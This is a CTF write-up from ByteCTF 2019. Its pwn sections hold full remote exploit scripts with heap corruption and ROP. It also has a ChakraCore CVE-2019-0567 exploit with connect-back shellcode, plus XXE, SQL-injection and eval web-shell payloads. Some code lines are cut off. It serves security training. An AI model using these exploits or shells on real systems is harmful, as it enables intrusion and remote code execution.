ByteCTF 2019 Writeup - 天枢

Dubhe / 2019-09-23 08:49:09 / 浏览数 5893 安全技术 CTF 顶(0) 踩(0)

Misc

Hello Bytectf

签到~

betgame

剪刀石头布游戏，每次获胜的规则不一样但找到规律即可，3次一循环，手动打完即可。

jigsaw

一堆图拼吾王。。吾王不懂人心
最后flag，S写大了可还行

bet

区块链题目，主要利用 1 + ~0x01 会下溢这一点

1. 首先profit，使balance(0x02)为 1
2. Bet() 无条件使自己变为 owner
3. 0xf98b23c9 使猜测的数字变为0
4. 调用一次 func_0219，要猜对，使balance变为 2，同时0x04【标志位】为1
5. 调用一次 func_0219，要猜错，使balance变为 1
6. 调用一次 func_03F7，猜错， 使balance 下溢
7. 获得flag

hf_

区块链题目，核心点依然是下溢。

1. profit
2. 0xbf1912bc 转账2 eth可变为owner
3. 0x0f77e47d 转帐2，造成自己的balance下溢
4. 获得flag

ddd

1. 准备 volatility 工具套件，将官方提供的Ubuntu1604.zip放置在 volatility/volatility/plugins/overlays/linux 中，之后的操作全部选择该文件包的profile
2. 使用 linux_check_syscall 检查系统调用，发现 sys_read 被 HOOK，考虑 rootkit
3. linux_enumerate_files 枚举文件，发现敏感文件 /root/dddd-*.ko /root/douyinko.ko
4. dddd-*.ko 文件存在，使用 linux_find_file 指定inode，dump文件，分析后发现仅仅是用于dump内存的kernel mod
5. douyinko.ko 已被删除，无inode信息，无法直接使用 linux_find_file dump该文件，linux_moddump总是卡死，不知道为什么
6. linux_pslist 查看进程，发现两个 sftp-server
7. 使用 linux_proc_maps -p 指定 sftp，查看进程内存地址信息
8. 再使用 linux_dump_map -p 2777 -s 内存地址，dump sftp-server的堆区域
9. 分析堆区域的数据，发现缓存的完整 ELF 文件，为douyinko.ko
10. 准备Ubuntu16.04虚拟机，降级内核至4.4.0-131
11. 将导出的douyinko.ko切割到正确大小之后，insmod douyinko.ko 加载该内核
12. 新建一个文件，内容为 emm....Can you find flag?（最后需要跟一个换行符或者空格，否则长度刚刚好不够用，无法通过检查）
13. 使用 cc1 或 cat 或 vim 或 vi 读取新建的文件，获得最终的flag

Crypto

lrlr

大概是四步

1. 随机数还原，得到之后代码生成的所有 getrandbits

2. 逆向lrand算法，得到 self.states
3. 得到 self.states，就是c_list，最大剩余定理得到 m**17，开17得到结果
4. 从seed 还原得到 flag

随机数

```
def oldtest():
   f=open("old","wb")
   s=""
   for i in range(1000):
       s+=str(random.getrandbits(32))+"\n"
   f.write(s)
```

可从 old 文件中取得前 1000 组 randbits
以 624 组计算得初始向量从而可以推算后续所有 randbits 方法得到值
抄个程序生成 1000 组 32bit 后面的 72 组 128bit 值

reference https://www.anquanke.com/post/id/158894?tdsourcetag=s_pcqq_aiomsg#h2-3

```
# step2 get c_list
def state_reverse(state, key):
   key = long_to_bytes(key)
   handle = AES.new(key, AES.MODE_CBC, "\x00"*16)
   output = handle.decrypt(long_to_bytes(state))
   return bytes_to_long(output)

random_list = open('p_random_128_hex.txt','r').read().strip().split('\n')
random_list = [int(op.strip('L'),16) for op in random_list]
'''
use_list = []

for kk in range(80):
   num = 0
   for _ in range(4):
       num = num << 32
       num += random_list[kk*4 + 3 - _]
   use_list.append(num)

random_list = use_list
# ■■■■■
'''
l_result = open('new','r').read().strip().split('\n')
l_result = [int(op.strip('L'),16) for op in l_result]
assert len(l_result) == 24
state = [0 for _ in range(48)]
old_state = []

for op in range(24):
   old_state.append(state_reverse(l_result[op],random_list[48+op]))

# ■■■ gen_new_states■■■states■■■states■■■
for op in range(24):
   state[op] = state_reverse(old_state[op], random_list[24+op])


# print state[:24]

c_list = []
for op in range(24):
   c_list.append(state[op])

# step3

n_list = open('cl','r').read().split('\n')[:-1]
n_list = [int(op.strip('L'),16) for op in n_list]
assert len(n_list) == len(c_list)

def egcd(a, b):
   if 0 == b:
       return 1, 0, a
```

```
    x, y, q = egcd(b, a % b)
    x, y = y, (x - a // b * y)
    return x, y, q

def chinese_remainder(pairs):
    mod_list, remainder_list = [p[0] for p in pairs], [p[1] for p in pairs]
    mod_product = reduce(lambda x, y: x * y, mod_list)
    mi_list = [mod_product//x for x in mod_list]
    mi_inverse = [egcd(mi_list[i], mod_list[i])[0] for i in range(len(mi_list))]
    x = 0
    for i in range(len(remainder_list)):
        x += mi_list[i] * mi_inverse[i] * remainder_list[i]
        x %= mod_product
    return x

params = []
for op in range(24):
    params.append([n_list[op],c_list[op]])

k = chinese_remainder(params)

print gmpy2.iroot(k,17)

init_state = gmpy2.iroot(k,17)[1]
```

得到的init_state，反复使用原函数加密即可得到flag

```
# coding:utf-8

from z3 import *
from Crypto.Util.number import *


num = 614067964446265355597710974183384947286498154646097812040268553326203017524444
def generate_init_state(seed):
    a = 0
    for i in bin(seed)[2:]:
        a = a << 1
        if (int(i)):
            a = a ^ seed
        if a >> 256:
            a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223
    #print 'a(init_state)',a
    return a

for i in range(10000000):
    num = generate_init_state(num)
    tmp = long_to_bytes(num)
    if 'flag' in tmp or 'byte' in tmp:
        print tmp
```

Re

驱动逆向

题目中指定了CPU为FakeIntel。同时又给定了长度为0x10的key
将上述数据分别赋值到0x140006070和0x14006890处。
使用peloader加载程序执行解密逻辑即可得到flag
bytectf{d0f20eff6fc4f6060776c8ca63319a1e}

Pwn

ezarch

和拟态防御的simplevm类似的虚拟机题目。本题在运行自定义opcode的时候对ebp进行检查时，使用了错误的参数，导致ebp可以越界读写，从而修改结构体中保存的虚拟

```
from pwn import *
```

```
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']


def memory_set(p, size, payload, eip, esp, ebp):
   p.sendlineafter('>', 'M')
   p.sendlineafter('size>', str(size))
   p.sendlineafter('size>', str(len(payload)))
   p.sendlineafter(')', payload)
   p.sendlineafter('eip>', str(eip))
   p.sendlineafter('esp>', str(esp))
   p.sendlineafter('ebp>', str(ebp))

def run(p):
   p.sendlineafter('>', 'R')


DEBUG = False

#p = process('ezarch')
p = remote('112.126.102.73', 9999)

if DEBUG:
   gdb.attach(p)

# get heap addr(r14 r15) and elf addr(r12 r13)
payload  = '/bin/sh\x00'
payload += '\x03\x22' + p32(0x10) + p32(17)    # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(0xF) + p32(0)      # pop [esp] => r15

payload += '\x01\x10' + p32(0) + p32(0x1004)   # add 0x1004 => r0
payload += '\x03\x00' + p32(17) + p32(0)       # mov r0 => ebp
payload += '\x03\x22' + p32(0x10) + p32(17)    # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(0xE) + p32(0)      # pop [esp] => r14

payload += '\x02\x10' + p32(0) + p32(0x1004)   # sub 0x1004 => r0 ; set r0 to 0
payload += '\x01\x10' + p32(0) + p32(0x1008)   # add 0x1008 => r0
payload += '\x03\x00' + p32(17) + p32(0)       # mov r0 => ebp
payload += '\x03\x22' + p32(0x10) + p32(17)    # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(0xD) + p32(0)      # pop [esp] => r13

payload += '\x02\x10' + p32(0) + p32(0x1008)   # sub 0x1008 => r0 ; set r0 to 0
payload += '\x01\x10' + p32(0) + p32(0x100C)   # add 0x100C => r0
payload += '\x03\x00' + p32(17) + p32(0)       # mov r0 => ebp
payload += '\x03\x22' + p32(0x10) + p32(17)    # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(0xC) + p32(0)      # pop [esp] => r12

payload += '\x02\x10' + p32(0) + p32(0x100C)   # sub 0x100C => r0 ; set r0 to 0

# change stack base
payload += '\x01\x10' + p32(0) + p32(0x1008)   # add 0x1008 => r0
payload += '\x03\x00' + p32(17) + p32(0)       # mov r0 => ebp
payload += '\x03\x00' + p32(1) + p32(13)       # mov r13 => r1
payload += '\x02\x10' + p32(1) + p32(0xa8)     # sub 0xa8 => r1 ; free@got
payload += '\x03\x02' + p32(17) + p32(1)       # mov r1 => [ebp]

# get libc r10,r11
payload += '\x02\x10' + p32(0) + p32(0x1008)   # sub 0x1008 => r0 ; set r0 to 0
payload += '\x01\x10' + p32(0) + p32(0x30)     # add 0x30 => r0
payload += '\x03\x00' + p32(17) + p32(0)       # mov r0 => ebp
payload += '\x01\x10' + p32(2) + p32(0x400)    # sub 0x400 => r2
payload += '\x03\x00' + p32(16) + p32(2)       # mov r2 => esp
payload += '\x03\x22' + p32(0x10) + p32(17)    # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(11) + p32(0)       # pop [esp] => r11

payload += '\x01\x10' + p32(0) + p32(4)        # add 0x4 => r0
payload += '\x03\x00' + p32(17) + p32(0)       # mov r0 => ebp ; ebp = 0x34
payload += '\x03\x22' + p32(0x10) + p32(17)    # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(10) + p32(0)       # pop [esp] => r10
```

```
# get system
payload += '\x02\x10' + p32(11) + p32(0x47c30) # sub 0x47c30 => r11 ; r11 <= system low 32 bit addr

# change free@got
payload += '\x02\x10' + p32(0) + p32(0x34)     # sub 0x34 => r0 ; set r0 to 0
payload += '\x03\x00' + p32(17) + p32(0)       # mov r0 => ebp ; ebp = 0x0 <= free@got
payload += '\x03\x02' + p32(17) + p32(11)      # mov r11 => [ebp]
payload += '\x01\x10' + p32(0) + p32(4)        # add 0x4 => r0
payload += '\x03\x00' + p32(17) + p32(0)       # mov r0 => ebp ; ebp = 0x4
payload += '\x03\x02' + p32(17) + p32(10)      # mov r10 => [ebp]

payload += '\xFF'
memory_set(p, 0x4010, payload, 8, 0x10, 0x1000)
run(p)

p.sendlineafter('>', 'M')
p.sendlineafter('size>', str(20))

#bytectf{0ccf4027c269fcbd1d0a74ddd62ba90a}
p.interactive()
p.close()
```

mulnote

程序应该算加了混淆？但是还是很容易就能看清楚程序在做什么。漏洞在free的时候，thread中sleep后清空bss上的chunk地址，导致UAF。

```
from pwn import *

def add(p, size, content):
   p.sendlineafter('>', 'C')
   p.sendlineafter('size>', str(size))
   p.sendafter('note>', content)


def delete(p, idx):
   p.sendlineafter('>', 'R')
   p.sendlineafter('index>', str(idx))


def show(p):
   p.sendlineafter('>', 'S')


def edit(p, idx, content):
   p.sendlineafter('>', 'E')
   p.sendlineafter('index>', str(idx))
   p.sendafter('new note>', content)


def pwn():
   context.log_level = 'debug'
   context.terminal = ['tmux', 'split', '-h']

   DEBUG = False

   libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
   elf = ELF('./mulnote')
   if DEBUG:
       p = process('./mulnote')
   else:
       p = remote('112.126.101.96', 9999)

   if DEBUG:
       gdb.attach(p)

   add(p, 0x98, 'sunichi') #0
   add(p, 0x68, 'sunichi') #1
   add(p, 0x68, 'sunichi') #2
```

```
    delete(p, 0)
    show(p)

    p.recvuntil('[*]note[0]:\n')
    recv = p.recv(6) + '\x00\x00'
    libc.address = u64(recv) - (0x7fc642ab9b78 - 0x00007fc6426f5000)

    delete(p, 1)
    delete(p, 2)
    edit(p, 2, p64(libc.symbols['__malloc_hook'] - 0x23))

    add(p, 0x68, 'sunichi')
    add(p, 0x68, '\x00\x00\x00' + p64(0) + p64(libc.address + 0xf02a4) + p64(libc.symbols['realloc']))
    sleep(15)
    p.sendlineafter('>', 'C')
    p.sendlineafter('size>', str(32))
#bytectf{4f10583325b7a40ecd770dbb6fd54d59}
    print hex(libc.address)
    p.interactive()
    p.close()


if __name__ == '__main__':
    pwn()
```

vip

设置prctl的时候有栈溢出，通过栈溢出修改prctl的规则，使得open(urandom)的时候返回0从而绕过限制。最后做ROP进行orw就可以读出flag了。

```
from pwn import *


def add(p, idx):
    p.sendlineafter('Your choice: ', str(1))
    p.sendlineafter('Index: ', str(idx))


def show(p, idx):
    p.sendlineafter('Your choice: ', str(2))
    p.sendlineafter('Index: ', str(idx))


def delete(p, idx):
    p.sendlineafter('Your choice: ', str(3))
    p.sendlineafter('Index: ', str(idx))


def edit(p, idx, size, content=''):
    p.sendlineafter('Your choice: ', str(4))
    p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Size: ', str(size))
    if content == '':
        return
    p.send(content)


def disable_sandbox(p):
    payload = '\x00' * 0x20
    payload += '\x20\x00\x00\x00\x00\x00\x00\x00'
    payload += '\x15\x00\x01\x00\x01\x01\x00\x00'
    payload += '\x06\x00\x00\x00\x00\x00\xFF\x7F'
    payload += '\x06\x00\x00\x00\x00\x00\x05\x00'
    p.sendlineafter('Your choice: ', str(6))
    p.sendafter('please tell us your name: \n', payload)


def pwn():
    context.terminal = ['tmux', 'split', '-h']
```

```
DEBUG = False

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./vip')
if DEBUG:
    p = process('./vip')
else:
    p = remote('112.126.103.14', 9999)

if DEBUG:
    gdb.attach(p)

context.log_level = 'debug'

disable_sandbox(p)

add(p, 0)
add(p, 1)
delete(p, 1)
payload = 'a' * 0x58 + p64(0x61) + p64(0x404100)
edit(p, 0, len(payload), payload)


add(p, 2)
edit(p, 2, len('./flag\x00'), './flag\x00') #heapaddr
add(p, 3)
payload = p64(0x404108) + p64(elf.got['puts'])
edit(p, 3, len(payload), payload)

show(p, 1)
libc.address = u64(p.recv(6) + '\x00\x00') - libc.symbols['puts']

payload = p64(libc.symbols['__environ'])
edit(p, 0, len(payload), payload)

show(p, 1)
stack_addr = u64(p.recv(6) + '\x00\x00')

payload = p64(0x404110)
edit(p, 0, len(payload), payload)
show(p, 1)
heap_addr = u64(p.recvuntil('\nDone', drop=True).ljust(8, '\x00'))

ret_rop = stack_addr - (0x7ffc05877e58 - 0x7ffc05877d68)
edit(p, 0, len(payload), p64(ret_rop))


pop_rdi_ret = 0x00000000004018fb
pop_rsi_r15_ret = 0x00000000004018f9
pop_rdx_ret = libc.address + 0x0000000000001b96
syscall_ret = libc.address + 0x00000000000d2975
pop_rax_ret = libc.address + 0x00000000000439c8
leave_ret = 0x0000000000401445
pop_rbp_ret = 0x00000000004011d9


rop = p64(pop_rdi_ret) + p64(heap_addr)
rop += p64(pop_rsi_r15_ret) + p64(0x0) + p64(0)
rop += p64(pop_rdx_ret) + p64(0)
rop += p64(pop_rax_ret) + p64(2)
rop += p64(syscall_ret)

rop += p64(pop_rdi_ret) + p64(3)
rop += p64(pop_rsi_r15_ret) + p64(0x00404800) + p64(0)
rop += p64(pop_rdx_ret) + p64(0x100)
rop += p64(elf.plt['read'])

rop += p64(pop_rdi_ret) + p64(0x00404800)
rop += p64(elf.plt['puts'])
```

```
    rop += p64(0xdeadbeef)

    edit(p, 1, len(rop), rop)

    p.sendlineafter('Your choice: ', str(5))


    print hex(heap_addr)
    print hex(ret_rop)
    print hex(libc.address)
    p.interactive()
    p.close()
    return 1
#bytectf{2ab64f4ee279e5baf7ab7059b15e6d12}

if __name__ == '__main__':
    pwn()




'''
0x00000000004018f4 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004018f6 : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004018f8 : pop r14 ; pop r15 ; ret
0x00000000004018fa : pop r15 ; ret
0x00000000004018f3 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004018f7 : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004011d9 : pop rbp ; ret
0x00000000004018fb : pop rdi ; ret
0x00000000004018f9 : pop rsi ; pop r15 ; ret
0x00000000004018f5 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401016 : ret
0x0000000000401401 : ret 0x2be
0x0000000000401072 : ret 0x2f
0x00000000004012a2 : ret 0xc604


0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x06 0x00 0x40000000  if (A >= 0x40000000) goto 0010
0004: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0009
0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0009
0007: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0009
0008: 0x06 0x00 0x00 0x00050005  return ERRNO(5)
0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0010: 0x06 0x00 0x00 0x00000000  return KILL

'''
```

mheap

read函数返回值检查的bug，导致向前溢出。

```
from pwn import *


def add(p, idx, size, content):
    p.sendlineafter('Your choice: ', str(1))
    p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('size: ', str(size))
    if size == len(content):
        p.sendafter('Content: ', content)
    else:
        p.sendlineafter('Content: ', content)
```

```
def show(p, idx):
   p.sendlineafter('Your choice: ', str(2))
   p.sendlineafter('Index: ', str(idx))


def delete(p, idx):
   p.sendlineafter('Your choice: ', str(3))
   p.sendlineafter('Index: ', str(idx))


def edit(p, idx, content):
   p.sendlineafter('Your choice: ', str(4))
   p.sendlineafter('Index: ', str(idx))
   p.send(content)


def pwn():
   context.log_level = 'debug'
   context.terminal = ['tmux', 'split', '-h']

   DEBUG = False

   libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
   elf = ELF('./mheap')
   if DEBUG:
       p = process('./mheap')
   else:
       p = remote('112.126.98.5', 9999)

   if DEBUG:
       gdb.attach(p)

   add(p, 0, 0x1000 - 0x40 - 0x20, 'sunichi') #1

   add(p, 1, 0x10, 'sunichi') #2

   add(p, 2, 0x10, 'sunichi!' * 2) #3

   delete(p, 1) #4
   delete(p, 2) #5

   p.sendlineafter('Your choice: ', str(1)) #6
   p.sendlineafter('Index: ', str(15))
   p.sendlineafter('size: ', str(0x60))
   payload = p64(0x20) + p64(0x4040cb) + p64(0) * 2 + p64(0x70) + p64(0)[:7] + '\n'
   p.sendafter('Content: ', payload)

   add(p, 1, 0x10, '/bin/sh\x00') #7
   payload = 'a' * 5 + p64(elf.got['puts'])
   add(p, 14, 0x10, payload) #8

   show(p, 0)
   libc.address = u64(p.recv(6) + '\x00\x00') - libc.symbols['puts']

   p.sendlineafter('Your choice: ', str(4))
   p.sendlineafter('Index: ', str(0))
   p.send(p64(libc.address + 0x4f322))

   p.sendline('sunichi')
   p.sendline('cat flag')

   print hex(libc.address)
   p.interactive()
   p.close()
   #bytectf{34f7e6dd6acf03192d82f0337c8c54ba}


if __name__ == '__main__':
```

```
    pwn()
```

notefive

程序没有输出，存在off-by-one漏洞，限制了分配的chunk的大小，导致不能采用0x7f作为fastbin的size。利用off-by-one造成堆块重叠，`unsorted bin attack`修改`global_max_fast`。之后几乎所有的chunk都属于fastbin的范围内，利用stderror结构体flag字段的0xfb作为chunk的size，可在stdout附近布置好合适的size attack可以完全控制stdout，泄露libc地址以及修改vtable来getshell

```
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

def add(p,idx,size):
    sla(p,'choice>> ',str(1))
    sla(p,'idx: ',str(idx))
    sla(p,'size: ',str(size))

def edit(p,idx,content):
    sla(p,'choice>> ',str(2))
    sla(p,'idx: ',str(idx))
    sa(p,'content: ',content)

def delete(p,idx):
    sla(p,'choice>> ',str(3))
    sla(p,'idx: ',str(idx))

DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
BIN_PATH = './note_five'
elf = ELF(BIN_PATH)
context.terminal = ['tmux', 'split', '-h']

def pwn():
    if DEBUG == 1:
        p = process(BIN_PATH)
        context.log_level = 'debug'
        if context.arch == 'amd64':
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
            libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    else:
        p = remote('112.126.103.195', 9999)
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        context.log_level = 'debug'
    # 0x555555554000
    # global_max_fast 0x7ffff7dd37f8
    # unsortedbin     0x7ffff7dd1b78
    # stdout          0x7ffff7dd2620
    # addr            0x7ffff7dd37e8
    # free_hook       0x7ffff7dd37a8
    # malloc_hook     0x7ffff7dd1b10
    # IO_list_all     0x7ffff7dd2520
    add(p,0,0xf8)
    add(p,1,0xf8)
    add(p,2,0xf8)
    add(p,3,0xf8)
    add(p,4,0xf8)

    # overlap
```

```
    delete(p,0)
    data = '\x00'*0xf0+p64(0x300)+'\x00'
    edit(p,2,data)
    delete(p,3)

    add(p,0,0xe0) #0
    add(p,0,0x100)#0 overlap 1


    payload = p64(0)+'\xe8\x37\n'
    edit(p,2,payload)
    add(p,3,0x1f0) #3=2

    data = p64(0)+p64(0xf1)+'\x00'*0xe0+p64(0)+p64(0x21)+'\n'
    edit(p,0,data)
    delete(p,1)

    data = p64(0)+p64(0xf1)+'\x3b\x25\n'
    edit(p,0,data)
    add(p,1,0xe8)
    add(p,4,0xe8)
    payload = '\x00'*(0xe0-11-8)+p64(0x101)+p64(0xfbad1800)+'\n'
    edit(p,4,payload)

    edit(p,0,p64(0)+p64(0x101)+'\n')
    delete(p,1)
    data = p64(0)+p64(0x101)+'\x10\x26\n'
    edit(p,0,data)
    add(p,1,0xf8)
    add(p,4,0xf8)
    payload = p64(0xfbad1800)+p64(0)*3+'\x00\n'
    edit(p,4,payload)

    ru(p,'\x00\x18\xad\xfb')
    rn(p,28)
    libc_addr = u64(rn(p,8))
    log.info('libc addr: '+hex(libc_addr))
    libc_base = libc_addr-(0x7ffff7dd2600-0x7ffff7a0d000)
    log.info('libc base: '+hex(libc_base))
    libc.address = libc_base
    stdout = libc_base+(0x00007ffff7dd2620-0x7ffff7a0d000)

    one_gadget = 0xf1147
    fake_file = p64(0xfbad2887)+p64(libc.sym['_IO_2_1_stdout_']+131)*7+p64(libc.sym['_IO_2_1_stdout_']+132)
    fake_file += p64(0)*4+p64(libc.sym['_IO_2_1_stdin_'])+p64(1)+p64(0xffffffffffffffff)+p64(0x000000000b000000)+p64(libc.addre
    fake_file += p64(0xffffffffffffffff)+p64(0)+p64(libc.address+(0x7ffff7dd17a0-0x7ffff7a0d000))+p64(0)*3+p64(0x00000000ffffff
    fake_file += p64(stdout+0xd8-0x30)+p64(libc_base+one_gadget)*2+'\n'
    if ATTACH==1:
        gdb.attach(p,'''
        b *0x555555554000+0xecd
        b *0x555555554000+0xb72
        ''')
    edit(p,4,fake_file)
    p.interactive()

if __name__ == '__main__':
    pwn()

# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL
```

```
# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL
```

childjs

Patch 复现了 chakracore 引擎的 JIT 漏洞 CVE-2019-0567，忽略 InitProto opcode 的 side effect，导致 JIT 无法正确的识别处理 InitProto 时的类型变化，导致 Type Confusion。Exploit 使用了 Obj -> Dataview -> Dataview 的内存布局来实现 Arbitrary R/W，最终通过覆写 memmove 的 got 地址为shellcode来 getshell

```
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
dv2.setUint32(0, 0xdead,true);
BASE = 0x100000000;

function hex(x) {
   return "0x" + x.toString(16);
}

function opt(o, proto, value){
   o.b = 1;
   let tmp = {__proto__: proto};
   o.a = value;
}

function main() {
   for (let i = 0; i < 2000; i++) {
       let o = {a: 1, b: 2};
       opt(o, {}, {});
   }

   let o = {a: 1, b: 2};
   opt(o, o, obj);
   o.c = dv1
   obj.h = dv2;

   let read64 = function(addr_lo, addr_hi) {
       // dv2->buffer = addr (Step 4)
       dv1.setUint32(0x38, addr_lo, true);
       dv1.setUint32(0x3C, addr_hi, true);

       // read from addr (Step 5)
       return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
   }

   let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
       // dv2->buffer = addr (Step 4)
       dv1.setUint32(0x38, addr_lo, true);
       dv1.setUint32(0x3C, addr_hi, true);

       // write to addr (Step 5)
       dv2.setInt32(0, value_lo, true);
       dv2.setInt32(4, value_hi, true);
   }
   // get dv2 vtable pointer
   vtable_lo = dv1.getUint32(0, true);
```

```
    vtable_hi = dv1.getUint32(4, true);

    let libc_addr = vtable_lo + vtable_hi * BASE
    let libc_base = libc_addr-(0x7ffff47cc6e0-0x00007ffff39c8000)
    // let memove_got_addr = libc_base+0xe38128
    let memove_got_addr = libc_base+0xe53108
    print("[+] dv2.vtable pointer: "+hex(vtable_lo + vtable_hi * BASE));
    print("[+] libc base: "+hex(libc_base));
    print("[+] memmove got addr: "+hex(memove_got_addr));

    //get dv2 buffer poointer
    buf_lo=dv1.getUint32(0x38,true)
    buf_hi=dv1.getUint32(0x3C,true)
    let shelladdr = buf_lo + buf_hi * BASE
    let shellbase = shelladdr-(0x555555847360-0x00005555557d0000)
    // read first vtable entry using the R\W primitive
    print("[+] dv2.vtable content: "+hex(shelladdr));
    print("[+] shellbase: "+hex(shellbase))

    print("[+] dv2.buffer pointer: "+hex(libc_addr));
    // [+] dv2.vtable pointer: 0x7ffff49e95e0
    // [+] dv2.buffer pointer: 0x555555847360
    // [+] dv2.vtable content: 0x7ffef3d9a8e0
    // read first vtable entry using the R\W primitive
    print("[+] dv2.buffer content: "+hex(read64(buf_lo, buf_hi)));

    // write memove got
    // var shellcode = [0xb848686a,0x6e69622f,0x732f2f2f,0xe7894850,0x1697268,0x24348101,0x1010101,0x6a56f631,0x1485e08,0x89485
    var shellcode = [0x9958296a,0x6a5f026a,0x50f5e01,0xb9489748,0x8520002,0xbc9ae168,0xe6894851,0x6a5a106a,0x50f582a,0x485e036a
    print("shellcode len"+hex(shellcode.length));
    // print("[+] shellcode: "+hex(shellcode[0]));
    let offset = 0x400
    for (var i = 0; i < shellcode.length/2+1; ++i) {
        if(i*2+1>shellcode.length)
            write64(buf_lo+offset+i*8,buf_hi,shellcode[i*2],0xdeadbeef);
        else
            write64(buf_lo+offset+i*8,buf_hi,shellcode[i*2],shellcode[i*2+1]);
    }

    write64(vtable_lo+0x4ea28,vtable_hi,buf_lo+offset,buf_hi)
    // trigger
    var target = new Uint8Array(0x1234);
    var bb = new Uint8Array(10);
    target.set(bb);

}
main();
```

Web

首先先注册一个**baidu.com的域名，来绕过下面几个题的一些问题。

rss

通过访问**baidu.com/1.txt来进行XXE，读取源码。
之后构造，进行SSRF，在$_GET['order']='title,"1")&&phpinfo()&&strcmp($a->title';RCE

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://■IP/file/ex
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>The Blog</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
    <item>
        <title>&xxe;</title>
        <link>http://example.com</link>
```

```
        <description>a post</description>
        <author>author@example.com</author>
        <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
    </item>
</channel>
```

babyblog

存在二次注入

```
if(isset($_POST['title']) && isset($_POST['content']) && isset($_POST['id'])){
    foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
        $row = $v;
    }
    if($_SESSION['id'] == $row['userid']){
        $title = addslashes($_POST['title']);
        $content = addslashes($_POST['content']);
        $sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
        exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
    }else{
        exit("<script>alert('You do not have permission.');history.go(-1);</script>");
    }
}
```

先通过堆叠注入，insert一个VIP
使用insert users set username='xxx'....绕过
之后在使用replace.php的preg_replace 用/e RCE
其中使用mitmproxy做中间件，解决antword链接问题

```
from mitmproxy import http

def request(flow):
    flow.request.urlencoded_form["find"] = "/e\x00"
    flow.request.urlencoded_form["replace"] = "ob_end_clean()&&eval($_POST['a'])&&ob_end_clean()"
    flow.request.urlencoded_form["regex"] = "1"
    flow.request.urlencoded_form["id"] = "21"
```

之后

```
putenv LD_PRELOAD
error_log
fpm■■basedir // ■■■■■■■disable_function■■

<?php
/*
* This file is part of PHP-FastCGI-Client.
*
* (c) Pierrick Charron <pierrick@adoy.net>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
* of the Software, and to permit persons to whom the Software is furnished to do
* so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
namespace Adoy\FastCGI;
class TimedOutException extends \Exception {}
class ForbiddenException extends \Exception {}
```

```
